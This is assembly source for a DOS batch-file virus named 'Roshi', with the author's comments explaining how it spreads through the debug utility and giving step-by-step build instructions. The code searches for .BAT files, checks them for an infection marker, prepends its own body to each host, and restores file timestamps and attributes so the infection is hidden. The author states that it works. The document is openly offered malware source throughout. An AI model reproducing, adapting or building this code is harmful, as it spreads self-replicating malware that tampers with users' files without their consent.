; Roshi Virus by Blacksmith Tony
;
; Example batch virus written in assembly.  It uses debug to propagate.
; Since it's only an exmple, it's bare bones with no directory traversal
; routines, or anything else.  But it works.
;
; Watch for more, coming soon.
;
; How it works:
;
; 	@echo off
; 	goto BVone			; BV= Batch Virus
;
; Jumps over the debug instructions.
;
; 	:BVone
; 	if not exist %0 goto BVtwo
;
; This checks whether the file was run with an extension or without.
;
;	debug %0 %0 <%0>nul
;
; Feeds this file, into debug.  The second %0 is the name of the infected
; file.  I uses the parameter to spread.
;
;	goto BVend
;	:BVtwo
;	debug %0.bat %0.bat <%0.bat>nul
;
; Same stuff as above but for no extention
;
;	rem  [Roshi] virus by Blacksmith Tony
;	echo on
;
;
; What debug does:
;
; loads the batch file as a com (irrelevant), and sets the parameter to
; the infected file (relevant).
; It then uses the batch file as input for commands:
;
; -@echo off
;  ^error
; -goto BVone
;  ^error
; -e 100
; 3970:0100 00.20 00.BF ... etc
;
; -g
; Program terminated normally
; -q
;
;
;
; To get it to work:
;  1) compile this file to a com file
;  2) run the com2dbg utility by:
;	com2dbg roshi
;     This is just a quick util for changing a com to a debug script.
;  3) pad the output file to the size in virsize below
;	THE RESULTING BAT FILE MUST BE EXACTLY THAT SIZE!
;

virsize	equ	804

assume ds:main, cs:main, ss:main
main segment
org 100h
start:
	mov	al,' '			; fix up filename (end with 0)
	mov	di,82h			; cx > 0 (has file size)
	repne	scasb
	mov	byte ptr [di-1], 0
	
	mov	ax,3d00h		; Open and read in old bat file
	mov	dl,82h
	int	21h
	xchg	bx,ax
	mov	ah,3fh
	mov	cx,virsize
	lea	dx,thisfile
	int	21h
	mov	ah,3eh
	int	21h

	mov	ah,4eh			; find *.bat
	mov	cx,7
	lea	dx,fmsk
findthefile:
	int	21h
	jnc	foundone
endprog:
	int	20h			; End program
foundone:
	xor	cx,cx			; Clear file attributes
	call	attrib
	mov	ax,3d02h		; Open file (ds:dx still rigth)
	int	21h
	jc	endprog			; Error
	xchg	ax,bx
	
	mov	ah,3Fh			; Read in file
	mov	cx, word ptr ds:[9Ah]	; file size
	cmp	cx, -heap+65000		; File too big?
	ja	findnext
	mov	dx,heap
	int	21h

	mov	si,heap+10h		; Check infection
	cmp	word ptr [si],'VB'
	je	findnext

	mov	ax,4200h		; goto begin of file
	xor	cx,cx
	xor	dx,dx
	int	21h

	mov	ah,40h			; Write out new start
	mov	cx,virsize
	lea	dx,thisfile
	int	21h

	mov	ah,40h			; write out host bat
	mov	cx, word ptr ds:[9Ah]
	mov	dx, heap
	int	21h
	call	closefile
	jmp	endprog
findnext:
	call	closefile
	mov	ah,4Fh
	jmp	findthefile

closefile:
	mov	ax,5701h		; Restore time
	mov	cx,ds:[96h]
	mov	dx,ds:[98h]
	int	21h
	mov	ah,3Eh			; close file
	int	21h
	mov	ch,0h
	mov	cl,ds:[95h]		; restore attributes
	call	attrib
	ret
attrib:
	mov	ax,4301h
	mov	dx,9Eh
	int	21h
	ret

fmsk	db '*.BAT',0
thisfile equ $
heap	equ	offset thisfile + virsize
main ends
end start